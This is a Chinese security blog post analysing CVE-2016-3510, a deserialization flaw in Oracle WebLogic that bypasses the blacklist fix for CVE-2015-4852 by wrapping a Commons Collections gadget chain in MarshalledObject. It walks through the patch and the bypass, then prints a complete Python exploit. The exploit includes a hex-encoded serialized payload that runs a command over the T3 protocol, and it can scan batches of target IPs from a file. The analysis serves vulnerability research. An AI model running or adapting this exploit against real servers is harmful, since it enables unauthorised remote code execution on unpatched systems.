CVE-2016-3510:Weblogic反序列化分析

CVE-2016-3510:Weblogic反序列化分析
2020-11-24 10:45:11 Author: xz.aliyun.com(查看原文) 阅读量:383 收藏

影响范围

Oracle WebLogic Server 12.2.1.0
Oracle WebLogic Server 12.1.3.0
Oracle WebLogic Server 12.1.2.0
Oracle WebLogic Server 10.3.6.0

演示环境

Oracle WebLogic Server 10.3.6.0
Windows 10.0.18362.356
JDK 160_29

漏洞概述

CVE-2016-3510漏洞是对CVE-2015-4852漏洞修复的绕过，攻击者在可以通过该漏洞实现远程命令执行。

补丁回顾

这里对CVE-2015-4852漏洞补丁做一个简易的分析：
Step 1：下载补丁程序
链接：https://pan.baidu.com/s/1LmwqkGQg5gYruwUkKmXc8w
提取码：69ph

Step 2：执行以下命令来检测当前Weblogic系统是否存在CVE-2015-4852漏洞，如果存在会在目录下生成a.txt

java -jar  Test.jar weblogic 127.0.0.1 7001 C:\Users\Hepta\Desktop\zip\a.txt

Step 3：之后切换到C:\Oracle\Middleware\utils\bsu目录下执行以下命令来确定当前Weblogic版本等信息：

bsu.cmd  -prod_dir=C:\Oracle\Middleware\wlserver_10.3 -status=applied -verbose –view

Step 4：将补丁包p20780171_1036_Generic.zip解压到C:\Oracle\Middleware\utils\bsu\cache_dir目录，修改pom文件名称

Step 5：之后执行以下命令打补丁

bsu.cmd -install -patch_download_dir=C:\Oracle\Middleware\utils\bsu\cache_dir -patchlist=EJUW  -prod_dir=C:\Oracle\Middleware\wlserver_10.3 –verbose

Step 6：与上述操作类似，之后打第二个补丁

bsu.cmd -install -patch_download_dir=C:\Oracle\Middleware\utils\bsu\cache_dir -patchlist=ZLNA  -prod_dir=C:\Oracle\Middleware\wlserver_10.3 –verbose

Setp 7 ：查看已打补丁信息

bsu.cmd -view -verbose -prod_dir=C:\Oracle\Middleware\wlserver_10.3 -status=applied

Step 8：之后重启Weblogic

Step 9：在我们的攻击主机中再次执行载荷发现已经无效了(此处的test.ser为通过ysoserial生成的cc1链calc序列化数据文件)

python2 weblogic_t3.py 192.168.174.144 7001 test.ser

在目标主机中只会显示以下结果：

之后查看日志记录获取详细信息：

java.io.InvalidClassException: Unauthorized deserialization attempt; org.apache.commons.collections.functors.ChainedTransformer
    at weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.resolveClass(InboundMsgAbbrev.java:116)
    at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1574)
    at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1495)
    at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1731)
    at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1328)
    at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1946)
    at java.io.ObjectInputStream.defaultReadObject(ObjectInputStream.java:479)
    at org.apache.commons.collections.map.LazyMap.readObject(LazyMap.java:149)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
    at java.lang.reflect.Method.invoke(Method.java:597)
    at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:974)
    at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1848)
    at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1752)
    at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1328)
    at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1946)
    at java.io.ObjectInputStream.defaultReadObject(ObjectInputStream.java:479)
    at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:312)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
    at java.lang.reflect.Method.invoke(Method.java:597)
    at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:974)
    at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1848)
    at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1752)
    at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1328)
    at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1946)
    at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1870)
    at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1752)
    at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1328)
    at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1946)
    at java.io.ObjectInputStream.defaultReadObject(ObjectInputStream.java:479)
    at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:312)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
    at java.lang.reflect.Method.invoke(Method.java:597)
    at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:974)
    at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1848)
    at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1752)
    at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1328)
    at java.io.ObjectInputStream.readObject(ObjectInputStream.java:350)
    at weblogic.rjvm.InboundMsgAbbrev.readObject(InboundMsgAbbrev.java:69)
    at weblogic.rjvm.InboundMsgAbbrev.read(InboundMsgAbbrev.java:41)
    at weblogic.rjvm.MsgAbbrevJVMConnection.readMsgAbbrevs(MsgAbbrevJVMConnection.java:283)
    at weblogic.rjvm.MsgAbbrevInputStream.init(MsgAbbrevInputStream.java:215)
    at weblogic.rjvm.MsgAbbrevJVMConnection.dispatch(MsgAbbrevJVMConnection.java:498)
    at weblogic.rjvm.t3.MuxableSocketT3.dispatch(MuxableSocketT3.java:330)
    at weblogic.socket.BaseAbstractMuxableSocket.dispatch(BaseAbstractMuxableSocket.java:394)
    at weblogic.socket.NTSocketMuxer.processSockets(NTSocketMuxer.java:105)
    at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:29)
    at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:42)
    at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:145)
    at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:117)

之后添加patch_jars目录下的jar包到Libraries目录下：

之后以日志记录中的关键字"Unauthorized deserialization attempt"为信息查看BUG22248372_1036.jar，发现位于：
BUG22248372_1036.jar!\weblogic\rjvm\InboundMsgAbbrev.class

之后在关键词出下断点，然后再次执行载荷：

发现断点会断在com.bea.core.weblogic.rmi.client_1.11.0.0.jar!/weblogic/rjvm/InboundMsgAbbrev.class

之后继续跟进发现会有BLACK_LIST.contains(className)的检查，很明显这里是对类名做了安全检查，下面显示了过滤的黑明单类：

最终在org.apache.commons.collections.functors处被匹配到：

漏洞思考

CVE-2015-4852采用黑名单的方式来修复漏洞，从BUG.jar中可以看出该修复方法主要作用在wlthint3client.jar包中以下三个位置：

weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class

既然是黑名单修复方式，那么自然而然不可避免的就是带来被绕过的情况，在这里如果我们可以找到在readObject中创建自己的InputStream的对象，并且不使用黑名单中的ServerChannelInputStream和MsgAbbrevInputStream类的readObject进行反序列化，之后再通过调用readObject()方法进行反序列化的数据的读取，这样一来我们就可以反序列化，CVE-2016-0638正是基于这样的思路找到了weblogic.jms.common.StreamMessageImpl类来实现反序列化操作，而这里我们去讨论一个更加有趣一些的洞——CVE-2016-3510，该漏洞可以是对CVE-2015-4852的绕过，也是对CVE-2016-0638更深入研究得出的一种更加巧妙绕很名单的方式，下面进行详细分析~

漏洞原理

该漏洞实现反序列化的思路是将反序列化的对象封装进weblogic.corba.utils.MarshalledObject，然后再对MarshalledObject进行序列化，生成payload字节码，反序列化时MarshalledObject不在WebLogic黑名单中，所以可正常进行反序列化，而在反序列化时MarshalledObject对象再调用readObject时对MarshalledObject封装的序列化对象再次反序列化，从而逃过了黑名单的检查。

漏洞分析

下载https://github.com/5up3rc/weblogic_cmd ，之后使用IDEA打开，配置运行参数：

-H "192.168.174.144" -C "calc" -B -os win

之后修改一下payload类型为"marshall"：

下面跟踪看一下weblogic_cmd构造EXP的流程，首先在Main.java的executeBlind(host, port);处下断点进行Debug调试分析：

之后跟进executeBlind()函数：

之后继续跟进bindeExecute()函数：

之后跟进SerialBindDatas()函数，该函数用于序列化绑定的dada信息(待执行的命令)：

之后继续跟进blindExecutePayloadTransformerChain(execArgs)函数：

之后继续跟进serialData，可以看到这里使用的依旧是CC1链：

此处的handler是构造的cc1对象，之后我们跟进BypassPayloadSelector.selectBypass()，可以看到此处根据Type的类型来确定如何构造payload，这里我们的type为"marshall":

之后跟进marshalledObject(payload)，可以看到此处将payload封装进了marshalledObject对象：

MarshalledObject(payload)实现如下所示：

之后返回了一个marshalledObject，需要注意的是该对象封装有我们在CC1的payload载荷：

之后返回到selectBypass，此时的payload已并非单纯的CC1链，而是MarshalledObject封装后的CC1链的载荷：

之后继续返回到serialDate中，我们继续向下跟踪进入到Serializables.serialize(_handler);中：

之后将_handler序列化后再从字节转数组，然后返回：

之后再返回到bindExecute中，通过T3ProtocolOperation.send()将序列化后的数据发送出去：

pahse1Str中的即为最后构造的序列化载荷：

发送之后成功执行载荷：

漏洞EXP

#!/usr/bin/env python
#coding:utf-8
import socket
import time
import re
import argparse
from multiprocessing.dummy import Pool

VUL=['CVE-2016-3510']
PAYLOAD=['aced0005737200257765626c6f6769632e636f7262612e7574696c732e4d61727368616c6c65644f626a656374592161d5f3d1dbb6020002490004686173685b00086f626a42797465737400025b427870833836b3757200025b42acf317f8060854e0020000787000000572aced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b47020000787000000003740007636d642e6578657400022f6374000463616c63740004657865637571007e001e000000017671007e002f7371007e0011737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000103f4000000000000078737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003d']
VER_SIG=['org.apache.commons.collections.functors.InvokerTransformer']

def t3handshake(sock,server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)
    print('[!]{}:{} handshake successful'.format(server_addr[0],server_addr[1]))

def buildT3RequestObject(dip,sock):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd60000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    print('[!]{} send request payload successful,recv length:{}'.format(dip,len(sock.recv(2048))))

def sendEvilObjData(sock,data):
    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    time.sleep(2)
    res='NO_DATA'
    try:
        res=sock.recv(4096)
    except socket.timeout:
        pass
    # print res.encode('hex')
    return res

def checkVul(res,server_addr,index):
    p=re.findall(VER_SIG[index], res, re.S)
    if len(p)>0:
        print('[+]%s:%d vul %s'%(server_addr[0],server_addr[1],VUL[index]))
        return True
    else:
        print('[-]%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index]))
        return False

def run(dip,dport,index):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(60)
    server_addr = (dip, dport)
    t3handshake(sock,server_addr)
    buildT3RequestObject(dip,sock)
    rs=sendEvilObjData(sock,PAYLOAD[index])
    checkVul(rs,server_addr,index)

def exp(target):
    dip,dport = target
    vuls = []
    for index in range(len(VUL)):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(60)
            server_addr = (dip, dport)
            t3handshake(sock,server_addr)
            buildT3RequestObject(dip,sock)
            rs=sendEvilObjData(sock,PAYLOAD[index])
            if checkVul(rs,server_addr,index):
                vuls.append(VUL[index])
        except Exception as e:
            print('[-]{} fail:{}'.format(dip,str(e)))
    return {'ip':dip,'status':'ok' if len(vuls)>0 else 'fail','vuls':vuls}

def load_target_from_file(filename,port):
    iplist = []
    with open(filename) as f:
        for line in f:
            ip = line.strip()
            if len(ip)>0:
                iplist.append((ip,port))
    return iplist

def process_result(results):
    results_ok = []
    results_fail = []
    for r in results:
        if r['status'] == 'ok':
            results_ok.append('{}:{}'.format(r['ip'],','.join(r['vuls'])))
        else:
            results_fail.append(r['ip'])
    print('[+]vuls total:{}n{}'.format(len(results_ok), 'n'.join(results_ok)))

def main():
    parser = argparse.ArgumentParser(description='weblogic scanner')
    parser.add_argument('-f','--file',default=None,help='read target ip from file')
    parser.add_argument('-t','--target',default=None,help='target ip')
    parser.add_argument('-p','--port',default='7001',help=' server port,default is 7001')

    args = parser.parse_args()
    if not args.file is None:
        iplist = load_target_from_file(args.file,int(args.port))
        pool = Pool(10)
        results = pool.map(exp,iplist)
        pool.close()
        pool.join()
        process_result(results)
    elif not args.target is None:
        exp((args.target,int(args.port)))
    else:
        parser.print_help()
        print('You must set target ip or file!')

if __name__=="__main__":
    main()

执行EXP:

之后再目标主机中成功执行命令：

补定被成功绕过，不得不说该漏洞的发现者是真的强，而且这种绕黑名单的思路也是一种值得借鉴的思路，不管是Jackson还是fastjson等场景中，不过适合这样场景的类估计有点难找哦~

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